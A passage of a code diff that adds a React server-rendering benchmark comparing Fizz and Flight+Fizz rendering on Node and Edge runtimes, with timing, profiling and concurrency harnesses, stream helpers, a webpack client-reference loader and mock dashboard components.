console.log('Fizz (Edge, sync): %d bytes', fizzEdgeHtml.length);
const fizzEdgeAsyncHtml = await renderFizzEdge(AppAsync, ITEM_COUNT);
console.log('Fizz (Edge, async): %d bytes', fizzEdgeAsyncHtml.length);
const flightFizzEdgeHtml = await renderFlightFizzEdge(
renderRSCEdge,
RSCApp,
ITEM_COUNT
);
console.log(
'Flight + Fizz (Edge, sync): %d bytes',
flightFizzEdgeHtml.length
);
const flightFizzEdgeAsyncHtml = await renderFlightFizzEdge(
renderRSCEdge,
RSCAppAsync,
ITEM_COUNT
);
console.log(
'Flight + Fizz (Edge, async):%d bytes',
flightFizzEdgeAsyncHtml.length
);
// --- CPU Profiling ---
if (PROFILE_MODE) {
console.log(
'\n--- CPU Profiling (%d warmup, %d iterations) ---\n',
PROFILE_WARMUP,
PROFILE_ITERATIONS
);
const profileDir = path.resolve(__dirname, 'build/profiles');
await profileRun(
'Fizz (Node, sync)',
() => renderFizzNode(App, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'fizz-node-sync.cpuprofile')
);
await profileRun(
'Flight + Fizz (Node, sync)',
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'flight-fizz-node-sync.cpuprofile')
);
await profileRun(
'Fizz (Node, async)',
() => renderFizzNode(AppAsync, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'fizz-node-async.cpuprofile')
);
await profileRun(
'Flight + Fizz (Node, async)',
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'flight-fizz-node-async.cpuprofile')
);
await profileRun(
'Fizz (Edge, sync)',
() => renderFizzEdge(App, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'fizz-edge-sync.cpuprofile')
);
await profileRun(
'Flight + Fizz (Edge, sync)',
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'flight-fizz-edge-sync.cpuprofile')
);
await profileRun(
'Fizz (Edge, async)',
() => renderFizzEdge(AppAsync, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'fizz-edge-async.cpuprofile')
);
await profileRun(
'Flight + Fizz (Edge, async)',
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
PROFILE_WARMUP,
PROFILE_ITERATIONS,
path.join(profileDir, 'flight-fizz-edge-async.cpuprofile')
);
console.log(
'\nProfiles saved to build/profiles/. Open in Chrome DevTools or speedscope.app.'
);
return;
}
// --- Concurrent Benchmark ---
if (CONCURRENT_MODE) {
const CONCURRENCY = 50;
const TOTAL = 1000;
const CONC_WARMUP = 20;
console.log(
'\n--- Concurrent Benchmark (%d warmup, %d concurrency, %d requests, %d items) ---\n',
CONC_WARMUP,
CONCURRENCY,
TOTAL,
ITEM_COUNT
);
const fizzNodeSync = await runConcurrent(
'Fizz (Node, sync)',
() => renderFizzNode(App, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(fizzNodeSync);
const flightFizzNodeSync = await runConcurrent(
'Flight + Fizz (Node, sync)',
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(flightFizzNodeSync);
const fizzNodeAsync = await runConcurrent(
'Fizz (Node, async)',
() => renderFizzNode(AppAsync, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(fizzNodeAsync);
const flightFizzNodeAsync = await runConcurrent(
'Flight + Fizz (Node, async)',
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(flightFizzNodeAsync);
const fizzEdgeSync = await runConcurrent(
'Fizz (Edge, sync)',
() => renderFizzEdge(App, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(fizzEdgeSync);
const flightFizzEdgeSync = await runConcurrent(
'Flight + Fizz (Edge, sync)',
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(flightFizzEdgeSync);
const fizzEdgeAsync = await runConcurrent(
'Fizz (Edge, async)',
() => renderFizzEdge(AppAsync, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(fizzEdgeAsync);
const flightFizzEdgeAsync = await runConcurrent(
'Flight + Fizz (Edge, async)',
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
TOTAL,
CONCURRENCY,
CONC_WARMUP
);
printConcurrentResult(flightFizzEdgeAsync);
const rps = r => r.reqPerSec;
console.log('\n--- Flight overhead ---\n');
printGrid(
['Fizz', 'Flight+Fizz'],
[
['Node sync', fizzNodeSync, flightFizzNodeSync],
['Node async', fizzNodeAsync, flightFizzNodeAsync],
['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
],
rps,
'req/s',
'higher is better'
);
console.log('\n--- Edge vs Node ---\n');
printGrid(
['Node', 'Edge'],
[
['Fizz sync', fizzNodeSync, fizzEdgeSync],
['Fizz async', fizzNodeAsync, fizzEdgeAsync],
['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
],
rps,
'req/s',
'higher is better'
);
return;
}
// --- Benchmark ---
console.log(
'\n--- Benchmark (%d warmup, %d iterations, %d items) ---\n',
WARMUP,
ITERATIONS,
ITEM_COUNT
);
const fizzNodeSync = await runBenchmark(
'Fizz (Node, sync)',
() => renderFizzNode(App, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(fizzNodeSync);
const flightFizzNodeSync = await runBenchmark(
'Flight + Fizz (Node, sync)',
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(flightFizzNodeSync);
const fizzNodeAsync = await runBenchmark(
'Fizz (Node, async)',
() => renderFizzNode(AppAsync, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(fizzNodeAsync);
const flightFizzNodeAsync = await runBenchmark(
'Flight + Fizz (Node, async)',
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(flightFizzNodeAsync);
const fizzEdgeSync = await runBenchmark(
'Fizz (Edge, sync)',
() => renderFizzEdge(App, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(fizzEdgeSync);
const flightFizzEdgeSync = await runBenchmark(
'Flight + Fizz (Edge, sync)',
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(flightFizzEdgeSync);
const fizzEdgeAsync = await runBenchmark(
'Fizz (Edge, async)',
() => renderFizzEdge(AppAsync, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(fizzEdgeAsync);
const flightFizzEdgeAsync = await runBenchmark(
'Flight + Fizz (Edge, async)',
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
ITERATIONS,
WARMUP
);
printResult(flightFizzEdgeAsync);
const median = r => r.median;
console.log('\n--- Flight overhead ---\n');
printGrid(
['Fizz', 'Flight+Fizz'],
[
['Node sync', fizzNodeSync, flightFizzNodeSync],
['Node async', fizzNodeAsync, flightFizzNodeAsync],
['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
],
median,
'ms',
'median, lower is better'
);
console.log('\n--- Edge vs Node ---\n');
printGrid(
['Node', 'Edge'],
[
['Fizz sync', fizzNodeSync, fizzEdgeSync],
['Fizz async', fizzNodeAsync, fizzEdgeAsync],
['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
],
median,
'ms',
'median, lower is better'
);
}
main().catch(function (err) {
console.error(err);
process.exit(1);
});

View File

@@ -0,0 +1,34 @@
{
"name": "flight-ssr-bench",
"version": "0.1.0",
"private": true,
"devEngines": {
"node": "20.x || 22.x"
},
"dependencies": {
"@babel/core": "^7.16.0",
"@babel/preset-react": "^7.22.5",
"@babel/register": "^7.28.6",
"babel-loader": "^8.2.3",
"react": "experimental",
"react-dom": "experimental",
"react-server-dom-webpack": "experimental",
"autocannon": "^8.0.0",
"webpack": "^5.64.4"
},
"scripts": {
"copy-modules": "cp -r ../../build/oss-experimental/* ./node_modules/",
"prebench": "yarn copy-modules",
"prebench:bare": "yarn copy-modules",
"prebench:profile": "yarn copy-modules",
"prebench:concurrent": "yarn copy-modules",
"prebench:server": "yarn copy-modules",
"prestart": "yarn copy-modules",
"start": "NODE_ENV=production node bench-server.js",
"bench": "NODE_ENV=production node --expose-gc bench.js",
"bench:profile": "NODE_ENV=production node --expose-gc bench.js --profile",
"bench:bare": "NODE_ENV=production node --expose-gc bench.js --no-injection",
"bench:concurrent": "NODE_ENV=production node --expose-gc bench.js --concurrent",
"bench:server": "NODE_ENV=production node bench-server.js --bench"
}
}

View File

@@ -0,0 +1,54 @@
'use strict';
function printGrid(colHeaders, rows, getValue, unit, note) {
const labelWidth = Math.max(
...rows.map(function (r) {
return r[0].length;
})
);
const suffix = unit ? ' ' + unit : '';
const fmtVal = function (v) {
return (v.toFixed(1) + suffix).padStart(10 + suffix.length);
};
const fmtPct = function (v) {
return ((v >= 0 ? '+' : '') + v.toFixed(1) + '%').padStart(8);
};
const fmtFactor = function (va, vb) {
return ((vb / va).toFixed(2) + 'x').padStart(7);
};
const colWidth = 10 + suffix.length;
const header =
''.padEnd(labelWidth) +
' ' +
colHeaders
.map(function (h) {
return h.padStart(colWidth);
})
.join(' ') +
' Delta Factor';
console.log(' ' + header);
console.log(' ' + '-'.repeat(header.length));
for (const [label, a, b] of rows) {
const va = getValue(a);
const vb = getValue(b);
const pct = ((vb - va) / va) * 100;
console.log(
' ' +
label.padEnd(labelWidth) +
' ' +
fmtVal(va) +
' ' +
fmtVal(vb) +
' ' +
fmtPct(pct) +
' ' +
fmtFactor(va, vb)
);
}
if (note) {
console.log(' (%s)', note);
}
}
module.exports = {printGrid};

View File

@@ -0,0 +1,329 @@
'use strict';
const {PassThrough, Transform} = require('stream');
// ---------------------------------------------------------------------------
// Fizz (Node) — renders App directly via Node streams.
// Returns a Node Readable stream of HTML.
// ---------------------------------------------------------------------------
function renderFizzNode(AppComponent, itemCount) {
const React = require('react');
const {renderToPipeableStream} = require('react-dom/server');
const output = new PassThrough();
const {pipe} = renderToPipeableStream(
React.createElement(AppComponent, {itemCount}),
{
onShellReady() {
pipe(output);
},
onError(e) {
console.error('Fizz Node error:', e);
output.destroy(e);
},
}
);
return output;
}
// ---------------------------------------------------------------------------
// Fizz (Edge) — renders App directly via web streams.
// Returns a promise that resolves to a web ReadableStream of HTML.
// ---------------------------------------------------------------------------
function renderFizzEdge(AppComponent, itemCount) {
const React = require('react');
const {renderToReadableStream} = require('react-dom/server');
return renderToReadableStream(React.createElement(AppComponent, {itemCount}));
}
// ---------------------------------------------------------------------------
// Flight + Fizz (Node) — RSC render → tee → Fizz + script injection.
// HTML chunks are buffered within a tick to avoid injecting scripts mid-tag.
// Returns a Node Readable stream of HTML with injected Flight scripts.
// ---------------------------------------------------------------------------
function renderFlightFizzNode(
renderRSCNode,
AppComponent,
itemCount,
clientManifest,
ssrManifest,
opts
) {
const inject = !opts || opts.inject !== false;
const React = require('react');
const {renderToPipeableStream} = require('react-dom/server');
const {createFromNodeStream} = require('react-server-dom-webpack/client');
const {pipe: rscPipe} = renderRSCNode(
clientManifest,
AppComponent,
itemCount
);
let flightStream;
let flightScripts = '';
if (inject) {
// Tee the Flight stream into SSR + script injection
const trunk = new PassThrough();
const forSsr = new PassThrough();
const forInline = new PassThrough();
trunk.pipe(forSsr);
trunk.pipe(forInline);
forInline.on('data', function (chunk) {
flightScripts +=
'<script>(self.__FLIGHT_DATA||=[]).push(' +
JSON.stringify(chunk.toString()) +
')</script>';
});
rscPipe(trunk);
flightStream = forSsr;
} else {
flightStream = new PassThrough();
rscPipe(flightStream);
}
let cachedResult;
function Root() {
if (!cachedResult) {
cachedResult = createFromNodeStream(flightStream, ssrManifest);
}
return React.use(cachedResult);
}
const output = new PassThrough();
const {pipe} = renderToPipeableStream(React.createElement(Root), {
onShellReady() {
if (inject) {
// Buffer HTML chunks within a tick to avoid injecting scripts mid-tag.
const trailer = '</body></html>';
let buffered = [];
let timeout = null;
const injector = new Transform({
transform(chunk, _encoding, cb) {
buffered.push(chunk);
if (!timeout) {
timeout = setTimeout(() => {
for (const buf of buffered) {
let str = buf.toString();
if (str.endsWith(trailer)) {
str = str.slice(0, -trailer.length);
}
this.push(str);
}
buffered.length = 0;
timeout = null;
if (flightScripts) {
this.push(flightScripts);
flightScripts = '';
}
}, 0);
}
cb();
},
flush(cb) {
if (timeout) {
clearTimeout(timeout);
for (const buf of buffered) {
let str = buf.toString();
if (str.endsWith(trailer)) {
str = str.slice(0, -trailer.length);
}
this.push(str);
}
buffered.length = 0;
}
if (flightScripts) {
this.push(flightScripts);
flightScripts = '';
}
this.push(trailer);
cb();
},
});
pipe(injector);
injector.pipe(output);
} else {
pipe(output);
}
},
onError(e) {
console.error('Flight+Fizz Node error:', e);
output.destroy(e);
},
});
return output;
}
// ---------------------------------------------------------------------------
// Flight + Fizz (Edge) — RSC render → tee → Fizz + script injection via web
// streams. HTML chunks are buffered within a tick to avoid injecting scripts
// mid-tag. The </body></html> trailer is stripped, Flight scripts injected,
// and the trailer re-added at flush.
// Returns a promise that resolves to a web ReadableStream.
// ---------------------------------------------------------------------------
function renderFlightFizzEdge(
renderRSCEdge,
AppComponent,
itemCount,
clientManifest,
ssrManifest,
opts
) {
const inject = !opts || opts.inject !== false;
const React = require('react');
const {renderToReadableStream} = require('react-dom/server');
const {
createFromReadableStream,
} = require('react-server-dom-webpack/client.edge');
const webStream = renderRSCEdge(clientManifest, AppComponent, itemCount);
let forSsr;
let injector;
if (inject) {
const htmlTrailer = '</body></html>';
const enc = new TextEncoder();
let forInline;
[forSsr, forInline] = webStream.tee();
let resolveInline;
const inlinePromise = new Promise(function (r) {
resolveInline = r;
});
const htmlDecoder = new TextDecoder();
let buffered = [];
let timeout = null;
function flushBuffered(controller) {
for (const chunk of buffered) {
let buf = htmlDecoder.decode(chunk, {stream: true});
if (buf.endsWith(htmlTrailer)) {
buf = buf.slice(0, -htmlTrailer.length);
}
controller.enqueue(enc.encode(buf));
}
const remaining = htmlDecoder.decode();
if (remaining.length) {
let buf = remaining;
if (buf.endsWith(htmlTrailer)) {
buf = buf.slice(0, -htmlTrailer.length);
}
controller.enqueue(enc.encode(buf));
}
buffered.length = 0;
timeout = null;
}
function writeFlightChunk(data, controller) {
controller.enqueue(
enc.encode(
'<script>(self.__FLIGHT_DATA||=[]).push(' +
JSON.stringify(data) +
')</script>'
)
);
}
injector = new TransformStream({
start(controller) {
(async function () {
const reader = forInline.getReader();
const decoder = new TextDecoder('utf-8', {fatal: true});
for (;;) {
const {done, value} = await reader.read();
if (done) break;
writeFlightChunk(decoder.decode(value, {stream: true}), controller);
}
const remaining = decoder.decode();
if (remaining.length) {
writeFlightChunk(remaining, controller);
}
resolveInline();
})();
},
transform(chunk, controller) {
buffered.push(chunk);
if (!timeout) {
timeout = setTimeout(function () {
flushBuffered(controller);
}, 0);
}
},
async flush(controller) {
await inlinePromise;
if (timeout) {
clearTimeout(timeout);
flushBuffered(controller);
}
controller.enqueue(enc.encode(htmlTrailer));
},
});
} else {
forSsr = webStream;
}
const cachedResult = createFromReadableStream(forSsr, {
serverConsumerManifest: ssrManifest,
});
function Root() {
return React.use(cachedResult);
}
return renderToReadableStream(React.createElement(Root)).then(
function (htmlStream) {
return injector ? htmlStream.pipeThrough(injector) : htmlStream;
}
);
}
// ---------------------------------------------------------------------------
// Utilities: collect streams into strings.
// ---------------------------------------------------------------------------
function nodeStreamToString(nodeStream) {
return new Promise(function (resolve, reject) {
const chunks = [];
nodeStream.on('data', function (chunk) {
chunks.push(chunk);
});
nodeStream.on('end', function () {
resolve(Buffer.concat(chunks).toString('utf-8'));
});
nodeStream.on('error', reject);
});
}
function webStreamToString(webStream) {
const reader = webStream.getReader();
const chunks = [];
function read() {
return reader.read().then(function ({done, value}) {
if (done) {
return Buffer.concat(chunks).toString('utf-8');
}
chunks.push(Buffer.from(value));
return read();
});
}
return read();
}
module.exports = {
renderFizzNode,
renderFizzEdge,
renderFlightFizzNode,
renderFlightFizzEdge,
nodeStreamToString,
webStreamToString,
};

View File

@@ -0,0 +1,22 @@
'use strict';
const url = require('url');
// Webpack loader that runs in the RSC compilation.
// When a module starts with 'use client', it replaces the entire source
// with a client module proxy. This makes the RSC renderer serialize a
// client reference into the Flight stream instead of rendering the component.
module.exports = function rscClientRefLoader(source) {
const trimmed = source.trimStart();
if (
trimmed.startsWith("'use client'") ||
trimmed.startsWith('"use client"')
) {
const href = url.pathToFileURL(this.resourcePath).href;
return [
`const { createClientModuleProxy } = require('react-server-dom-webpack/server');`,
`module.exports = createClientModuleProxy(${JSON.stringify(href)});`,
].join('\n');
}
return source;
};

View File

@@ -0,0 +1,18 @@
import Shell from './components/Shell';
import Sidebar from './components/Sidebar';
import Dashboard from './components/Dashboard';
import Footer from './components/Footer';
export default function App({itemCount}) {
return (
<html>
<body>
<Shell>
<Sidebar itemCount={itemCount} />
<Dashboard itemCount={itemCount} />
<Footer />
</Shell>
</body>
</html>
);
}

View File

@@ -0,0 +1,18 @@
import Shell from './components/Shell';
import Sidebar from './components/Sidebar';
import DashboardAsync from './components/DashboardAsync';
import Footer from './components/Footer';
export default function AppAsync({itemCount}) {
return (
<html>
<body>
<Shell>
<Sidebar itemCount={itemCount} />
<DashboardAsync itemCount={itemCount} />
<Footer />
</Shell>
</body>
</html>
);
}

View File

@@ -0,0 +1,21 @@
import ActivityItem from './ActivityItem';
export default function ActivityFeed({activities}) {
return (
<div className="activity-feed">
<h3>Recent Activity</h3>
<ul className="activity-list">
{activities.map(activity => (
<ActivityItem
key={activity.id}
type={activity.type}
user={activity.user}
message={activity.message}
timestamp={activity.timestamp}
details={activity.details}
/>
))}
</ul>
</div>
);
}

View File

@@ -0,0 +1,27 @@
'use client';
export default function ActivityItem({
type,
user,
message,
timestamp,
details,
}) {
return (
<li className={'activity-item activity-' + type}>
<div className="activity-icon" data-type={type} />
<div className="activity-content">
<p className="activity-message">{message}</p>
<div className="activity-meta">
<span className="activity-user">{user}</span>
<span className="activity-time">{timestamp}</span>
{details && (
<span className="activity-details">
{details.amount} &middot; {details.items} items
</span>
)}
</div>
</div>
</li>
);
}

View File

@@ -0,0 +1,13 @@
'use client';
export default function Avatar({name, role, src}) {
return (
<div className="avatar-container">
<img className="avatar-img" src={src} alt={name} width={32} height={32} />
<div className="avatar-info">
<span className="avatar-name">{name}</span>
<span className="avatar-role">{role}</span>
</div>
</div>
);
}

View File

@@ -0,0 +1,6 @@
'use client';
export default function Badge({count, variant}) {
const className = 'badge' + (variant ? ' badge-' + variant : '');
return <span className={className}>{count}</span>;
}

View File

@@ -0,0 +1,24 @@
'use client';
export default function ChartPanel({title, data, type}) {
const maxVal = Math.max(...data.map(d => d.value));
return (
<div className="chart-panel">
<h3 className="chart-title">{title}</h3>
<div className={'chart chart-' + type}>
{data.map(point => (
<div key={point.month} className="chart-bar-group">
<div
className="chart-bar"
style={{height: Math.round((point.value / maxVal) * 100) + '%'}}
/>
<span className="chart-label">{point.month}</span>
<span className="chart-value">
${(point.value / 1000).toFixed(0)}k
</span>
</div>
))}
</div>
</div>
);
}

View File

@@ -0,0 +1,32 @@
import StatsGrid from './StatsGrid';
import ProductTable from './ProductTable';
import ActivityFeed from './ActivityFeed';
import ChartPanel from './ChartPanel';
import {generateProducts, generateActivities, generateStats} from './data';
export default function Dashboard({itemCount}) {
const products = generateProducts(itemCount);
const activities = generateActivities(Math.min(itemCount, 50));
const stats = generateStats();
return (
<main className="dashboard">
<div className="dashboard-header">
<h1>Dashboard Overview</h1>
<p className="dashboard-subtitle">
Welcome back. Here is what is happening with your store today.
</p>
</div>
<StatsGrid stats={stats} />
<div className="dashboard-grid">
<div className="dashboard-main">
<ProductTable products={products} />
</div>
<div className="dashboard-aside">
<ChartPanel title="Revenue" data={stats.revenueByMonth} type="bar" />
<ActivityFeed activities={activities} />
</div>
</div>
</main>
);
}

View File

@@ -0,0 +1,144 @@
import {Suspense} from 'react';
import StatsGrid from './StatsGrid';
import TableRow from './TableRow';
import TableHeader from './TableHeader';
import Pagination from './Pagination';
import ActivityItem from './ActivityItem';
import ChartPanel from './ChartPanel';
import Skeleton from './Skeleton';
import {generateProducts, generateActivities, generateStats} from './data';
function fetchData(generator, ...args) {
return new Promise(resolve => {
setTimeout(() => resolve(generator(...args)), 1);
});
}
function fetchDelayed(value, delayMs) {
return new Promise(resolve => {
setTimeout(() => resolve(value), delayMs);
});
}
async function AsyncStatsSection() {
const stats = await fetchData(generateStats);
return <StatsGrid stats={stats} />;
}
const productColumns = [
{key: 'name', label: 'Product'},
{key: 'sku', label: 'SKU'},
{key: 'category', label: 'Category'},
{key: 'price', label: 'Price'},
{key: 'stock', label: 'Stock'},
{key: 'status', label: 'Status'},
{key: 'rating', label: 'Rating'},
];
async function AsyncProductRow({product, delay}) {
const resolved = await fetchDelayed(product, delay);
return <TableRow product={resolved} columns={productColumns} />;
}
async function AsyncProductSection({itemCount}) {
const products = await fetchData(generateProducts, itemCount);
return (
<div className="product-table-container">
<div className="table-toolbar">
<h2>Products</h2>
<span className="table-count">{products.length} items</span>
</div>
<table className="product-table">
<thead>
<tr>
{productColumns.map(col => (
<TableHeader key={col.key} column={col} />
))}
</tr>
</thead>
<tbody>
{products.map((product, i) => (
<Suspense
key={product.id}
fallback={
<tr>
<td colSpan={7}>Loading...</td>
</tr>
}>
<AsyncProductRow product={product} delay={1 + (i % 5)} />
</Suspense>
))}
</tbody>
</table>
<Pagination total={products.length} pageSize={20} />
</div>
);
}
async function AsyncChartSection() {
const stats = await fetchData(generateStats);
return <ChartPanel title="Revenue" data={stats.revenueByMonth} type="bar" />;
}
async function AsyncActivityItem({activity, delay}) {
const resolved = await fetchDelayed(activity, delay);
return (
<ActivityItem
type={resolved.type}
user={resolved.user}
message={resolved.message}
timestamp={resolved.timestamp}
details={resolved.details}
/>
);
}
async function AsyncActivitySection({itemCount}) {
const activities = await fetchData(
generateActivities,
Math.min(itemCount, 50)
);
return (
<div className="activity-feed">
<h3>Recent Activity</h3>
<ul className="activity-list">
{activities.map((activity, i) => (
<Suspense key={activity.id} fallback={<li>Loading...</li>}>
<AsyncActivityItem activity={activity} delay={1 + (i % 5)} />
</Suspense>
))}
</ul>
</div>
);
}
export default function DashboardAsync({itemCount}) {
return (
<main className="dashboard">
<div className="dashboard-header">
<h1>Dashboard Overview</h1>
<p className="dashboard-subtitle">
Welcome back. Here is what is happening with your store today.
</p>
</div>
<Suspense fallback={<Skeleton type="stats" />}>
<AsyncStatsSection />
</Suspense>
<div className="dashboard-grid">
<div className="dashboard-main">
<Suspense fallback={<Skeleton type="table" />}>
<AsyncProductSection itemCount={itemCount} />
</Suspense>
</div>
<div className="dashboard-aside">
<Suspense fallback={<Skeleton type="chart" />}>
<AsyncChartSection />
</Suspense>
<Suspense fallback={<Skeleton type="feed" />}>
<AsyncActivitySection itemCount={itemCount} />
</Suspense>
</div>
</div>
</main>
);
}

View File

@@ -0,0 +1,47 @@
import FooterLink from './FooterLink';
const footerSections = [
{
title: 'Product',
links: ['Features', 'Pricing', 'Changelog', 'Docs', 'API Reference'],
},
{
title: 'Company',
links: ['About', 'Blog', 'Careers', 'Press', 'Partners'],
},
{
title: 'Support',
links: ['Help Center', 'Contact', 'Status', 'Community', 'Security'],
},
{
title: 'Legal',
links: ['Privacy', 'Terms', 'Cookie Policy', 'Licenses', 'GDPR'],
},
];
export default function Footer() {
return (
<footer className="app-footer">
<div className="footer-grid">
{footerSections.map(section => (
<div key={section.title} className="footer-section">
<h4>{section.title}</h4>
<ul>
{section.links.map(link => (
<li key={link}>
<FooterLink
href={'/' + link.toLowerCase().replace(/\s+/g, '-')}>
{link}
</FooterLink>
</li>
))}
</ul>
</div>
))}
</div>
<div className="footer-bottom">
<p>&copy; 2026 Acme Inc. All rights reserved.</p>
</div>
</footer>
);
}

View File

@@ -0,0 +1,9 @@
'use client';
export default function FooterLink({href, children}) {
return (
<a className="footer-link" href={href}>
{children}
</a>
);
}

View File

@@ -0,0 +1,22 @@
'use client';
import Avatar from './Avatar';
import SearchBar from './SearchBar';
import NotificationBell from './NotificationBell';
export default function Header({title, user}) {
return (
<header className="app-header">
<div className="header-left">
<h1 className="header-title">{title}</h1>
</div>
<div className="header-center">
<SearchBar placeholder="Search products, orders, customers..." />
</div>
<div className="header-right">
<NotificationBell count={3} />
<Avatar name={user.name} role={user.role} src={user.avatar} />
</div>
</header>
);
}

View File

@@ -0,0 +1,10 @@
'use client';
export default function NavLink({href, icon, children}) {
return (
<a className="nav-link" href={href}>
<span className="nav-icon" data-icon={icon} />
<span className="nav-label">{children}</span>
</a>
);
}

View File

@@ -0,0 +1,10 @@
'use client';
export default function NotificationBell({count}) {
return (
<button className="notification-bell" aria-label="Notifications">
<span className="bell-icon">&#128276;</span>
{count > 0 && <span className="notification-badge">{count}</span>}
</button>
);
}

View File

@@ -0,0 +1,26 @@
'use client';
export default function Pagination({total, pageSize}) {
const pageCount = Math.ceil(total / pageSize);
const pages = [];
for (let i = 1; i <= pageCount; i++) {
pages.push(i);
}
return (
<div className="pagination">
<button className="pagination-btn" disabled>
Previous
</button>
<div className="pagination-pages">
{pages.map(page => (
<button
key={page}
className={'pagination-page' + (page === 1 ? ' active' : '')}>
{page}
</button>
))}
</div>
<button className="pagination-btn">Next</button>
</div>
);
}

View File

@@ -0,0 +1,40 @@
import TableRow from './TableRow';
import TableHeader from './TableHeader';
import Badge from './Badge';
import Pagination from './Pagination';
const columns = [
{key: 'name', label: 'Product'},
{key: 'sku', label: 'SKU'},
{key: 'category', label: 'Category'},
{key: 'price', label: 'Price'},
{key: 'stock', label: 'Stock'},
{key: 'status', label: 'Status'},
{key: 'rating', label: 'Rating'},
];
export default function ProductTable({products}) {
return (
<div className="product-table-container">
<div className="table-toolbar">
<h2>Products</h2>
<span className="table-count">{products.length} items</span>
</div>
<table className="product-table">
<thead>
<tr>
{columns.map(col => (
<TableHeader key={col.key} column={col} />
))}
</tr>
</thead>
<tbody>
{products.map(product => (
<TableRow key={product.id} product={product} columns={columns} />
))}
</tbody>
</table>
<Pagination total={products.length} pageSize={20} />
</div>
);
}

View File

@@ -0,0 +1,11 @@
'use client';
export default function SearchBar({placeholder}) {
return (
<div className="search-bar">
<span className="search-icon">&#128269;</span>
<input type="search" className="search-input" placeholder={placeholder} />
<kbd className="search-shortcut">&#8984;K</kbd>
</div>
);
}

View File

@@ -0,0 +1,16 @@
import Header from './Header';
import ThemeProvider from './ThemeProvider';
export default function Shell({children}) {
return (
<ThemeProvider theme="light">
<div className="app-shell">
<Header
title="Acme Dashboard"
user={{name: 'Jane Smith', role: 'Admin', avatar: '/img/avatar.png'}}
/>
<div className="app-content">{children}</div>
</div>
</ThemeProvider>
);
}

View File

@@ -0,0 +1,58 @@
import NavLink from './NavLink';
import SidebarSection from './SidebarSection';
import Badge from './Badge';
const navItems = [
{href: '/', label: 'Dashboard', icon: 'home'},
{href: '/products', label: 'Products', icon: 'box', count: 142},
{href: '/orders', label: 'Orders', icon: 'cart', count: 38},
{href: '/customers', label: 'Customers', icon: 'users'},
{href: '/analytics', label: 'Analytics', icon: 'chart'},
{href: '/settings', label: 'Settings', icon: 'gear'},
];
const recentItems = [
{id: 1, label: 'Order #1234', status: 'pending'},
{id: 2, label: 'Order #1235', status: 'shipped'},
{id: 3, label: 'Order #1236', status: 'delivered'},
{id: 4, label: 'Return #891', status: 'processing'},
];
export default function Sidebar({itemCount}) {
return (
<aside className="sidebar">
<nav className="sidebar-nav">
<SidebarSection title="Navigation">
{navItems.map(item => (
<NavLink key={item.href} href={item.href} icon={item.icon}>
{item.label}
{item.count != null && <Badge count={item.count} />}
</NavLink>
))}
</SidebarSection>
<SidebarSection title="Recent Activity">
{recentItems.map(item => (
<div key={item.id} className="recent-item">
<span className="recent-label">{item.label}</span>
<Badge count={item.status} variant="status" />
</div>
))}
</SidebarSection>
<SidebarSection title="Quick Stats">
<div className="stat">
<span className="stat-label">Total Items</span>
<span className="stat-value">{itemCount}</span>
</div>
<div className="stat">
<span className="stat-label">Active Users</span>
<span className="stat-value">1,247</span>
</div>
<div className="stat">
<span className="stat-label">Revenue</span>
<span className="stat-value">$84,320</span>
</div>
</SidebarSection>
</nav>
</aside>
);
}

View File

@@ -0,0 +1,10 @@
'use client';
export default function SidebarSection({title, children}) {
return (
<div className="sidebar-section">
<h3 className="sidebar-section-title">{title}</h3>
<div className="sidebar-section-content">{children}</div>
</div>
);
}

View File

@@ -0,0 +1,9 @@
'use client';
export default function Skeleton({type}) {
return (
<div className={'skeleton skeleton-' + type} aria-busy="true">
<div className="skeleton-shimmer" />
</div>
);
}

View File

@@ -0,0 +1,24 @@
'use client';
